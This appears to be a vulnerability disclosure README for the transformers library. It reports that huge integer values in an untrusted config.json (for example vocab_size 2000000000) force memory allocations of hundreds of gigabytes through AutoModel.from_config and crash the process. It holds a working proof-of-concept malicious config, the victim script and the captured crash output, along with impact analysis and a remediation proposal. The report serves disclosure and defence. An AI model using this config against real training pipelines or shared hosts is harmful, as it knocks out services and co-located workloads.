EnigmaConsultant's picture
Upload README.md with huggingface_hub
de17286 verified
|
Raw
History Blame Contribute Delete
8.38 kB
# Unbounded memory allocation (DoS) from untrusted `config.json` integer fields via `AutoConfig.from_pretrained` + `AutoModel.from_config`
**Target:** `huggingface/transformers` (PyPI `transformers`)
**Verified against:** `transformers==5.14.1`, `torch==2.13.0+cu130`, Python 3.13
**Class:** Uncontrolled Resource Consumption / Denial of Service (CWE-789: Memory Allocation with Excessive Size Value; CWE-1284: Improper Validation of Specified Quantity in Input)
**Preconditions:** No `trust_remote_code`. No model weights required. Only a single attacker-controlled `config.json` (a few hundred bytes) on the Hub or a local dir.
---
## Summary
When a model architecture is instantiated **from a config object** β€” the eager `AutoModel.from_config(cfg)` / direct `Model(cfg)` path, which does **not** use the meta-device / `low_cpu_mem_usage` deferred-init machinery β€” integer fields copied verbatim from `config.json` (`vocab_size`, `hidden_size`, `intermediate_size`, `max_position_embeddings`, …) flow directly into `nn.Embedding` / `nn.Linear` tensor-shape arguments **with no upper-bound validation**. `torch`'s `DefaultCPUAllocator` then eagerly attempts to allocate `vocab_size * hidden_size * 4` bytes (etc.) at construction time.
A few-byte `config.json` such as `{"model_type":"bert","vocab_size":2000000000,"hidden_size":16}` forces a **128,000,000,000-byte (128 GB)** allocation attempt, crashing the process (on a real host the kernel OOM-killer terminates it). `PretrainedConfig.from_dict` applies **no sanity / bounds check** on these fields.
---
## Root cause
`PretrainedConfig` stores config fields verbatim, with no bounds/sanity check on integer size fields. On the from-config path those integers reach tensor constructors directly. In `transformers/models/bert/modeling_bert.py`, `BertEmbeddings.__init__`:
```python
class BertEmbeddings(nn.Module):
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
...
```
and in the transformer blocks:
```python
# BertSelfAttention
self.query = nn.Linear(config.hidden_size, self.all_head_size) # hidden_size
# BertIntermediate
self.dense = nn.Linear(config.hidden_size, config.intermediate_size) # intermediate_size
```
`config.vocab_size`, `config.hidden_size`, `config.intermediate_size`, and `config.max_position_embeddings` are attacker-controlled values read straight out of `config.json` by `PretrainedConfig.from_dict` (`transformers/configuration_utils.py`) β€” no field is clamped or range-checked. `nn.Embedding(num, dim)` immediately materializes a `num x dim` float32 weight tensor, so `nn.Embedding(2_000_000_000, 16)` requests `2e9 * 16 * 4 = 1.28e11` bytes up front.
The same pattern exists in essentially every architecture's `__init__` (LLaMA, GPT-2, etc. all build embeddings/linears sized directly from these config integers); BERT is used here only as a concrete, minimal-dependency demonstrator.
### Why the dominant `from_pretrained` path is *not* the reported vector (honest scope)
In transformers 5.x, `AutoModel.from_pretrained` initializes on the **meta device** and, when the attacker's tiny (or absent) weights do not match the inflated shapes, raises a size-mismatch error (`ignore_mismatched_sizes=False` by default) **instead of** allocating. So the cheap "config-only" variant is largely mitigated for `from_pretrained`. The practical vector is therefore:
- **`AutoModel.from_config(cfg)`** β€” a documented public API used to re-initialize / train a model from scratch given a Hub config, and
- any code that calls `from_config` (or constructs a model class directly) on an **untrusted** `AutoConfig`.
Both eagerly materialize real tensors on CPU and are exploitable with a weights-free `config.json`.
---
## Proof of Concept
### Attacker artifact β€” `attacker_dir/config.json` (no weights, no remote code)
```json
{"model_type":"bert","vocab_size":2000000000,"hidden_size":16,
"num_hidden_layers":1,"num_attention_heads":2,"intermediate_size":16,
"max_position_embeddings":2000000000}
```
### Victim code β€” `fc.py`
```python
from transformers import AutoConfig, AutoModel
cfg = AutoConfig.from_pretrained("attacker_dir") # untrusted config.json
print("loaded config vocab_size=", cfg.vocab_size, "hidden=", cfg.hidden_size)
model = AutoModel.from_config(cfg) # eager, no trust_remote_code
```
Running `python fc.py` immediately attempts a 128 GB `torch` allocation and raises `RuntimeError`; on a real host the process is OOM-killed.
---
## Captured evidence (verbatim)
```
$ python fc.py # AutoConfig.from_pretrained(attacker_dir) ; AutoModel.from_config(cfg)
loaded config vocab_size= 2000000000 hidden= 16
EXC RuntimeError "[enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 128000000000 bytes. Error code 12 (Cannot allocate memory)"
# NEGATIVE CONTROL (benign config):
NEG-CONTROL OK params= 3056
# field-by-field controls (baseline builds; malicious field crashes):
hidden_size = 200000 -> RuntimeError "... DefaultCPUAllocator: can't allocate memory: you tried to allocate 1600000..."
intermediate_size = 2000000000 -> RuntimeError "... can't allocate memory: you tried to allocate 1280000..."
max_position_embeddings = 2000000000 -> RuntimeError "... can't allocate memory: you tried to allocate 1280000..."
# direct-construction confirmation (BertModel(cfg), vocab 2e9 / hidden 256):
EXC RuntimeError "[enforce fail at alloc_cpu.cpp:127] err == 0. DefaultCPUAllocator: can't allocate memory: you tried to allocate 2048000000000 bytes. Error code 12 (Cannot allocate memory)"
transformers 5.14.1 / torch 2.13.0+cu130 / Python 3.13
```
Interpretation:
- **Attack:** a weights-free `config.json` with `vocab_size=2e9, hidden_size=16` -> 128 GB allocation attempt -> `RuntimeError` (OOM-kill on a real host).
- **Negative control:** an identical call path with a benign config (`vocab_size=32, hidden_size=16`) builds a 3056-parameter model successfully β€” proving the crash is caused by the config values, not the harness.
- **Field isolation:** `hidden_size`, `intermediate_size`, and `max_position_embeddings` are each independently exploitable β€” each raised the allocator error while the baseline built cleanly.
- **Independent confirmation:** direct `BertModel(cfg)` with `vocab_size=2e9, hidden_size=256` -> 2 TB (`2,048,000,000,000`-byte) allocation attempt.
---
## Impact
Denial of service. A victim who calls `AutoModel.from_config(AutoConfig.from_pretrained(untrusted_repo))` β€” the standard "re-init a model from a Hub config" pattern used in training / fine-tuning pipelines and in code that instantiates architectures from user-supplied configs β€” is forced into an unbounded up-front host-memory allocation from a few-hundred-byte input. The kernel OOM-killer terminates the process (and can collateral-kill co-located workloads on a shared host). No weights, no `trust_remote_code`, and no code execution on the victim are required β€” only the ability to make the victim load an attacker's `config.json`.
## Suggested remediation
Add bounds/sanity validation of integer size fields in `PretrainedConfig.from_dict` / `__init__` (reject absurd `vocab_size`/`hidden_size`/`intermediate_size`/`max_position_embeddings`, or cap them against a configurable ceiling), and/or validate these fields before they reach tensor constructors on the from-config path.
---
## Dedup / prior-art note
- Distinct from GGUF-based transformers DoS reports (different file format and loader path).
- Distinct from `trust_remote_code` RCE issues β€” this requires **no** remote code and no weights.
- Distinct from the `from_pretrained` weight-loading path, which in 5.x is mitigated for this cheap variant by meta-device init + size-mismatch checks (documented above). The reported vector is specifically the eager **`from_config`** / direct-construction path.
- No CVE was found assigning bounds validation to `PretrainedConfig` integer size fields on the from-config path as of the test date (2026-07-16).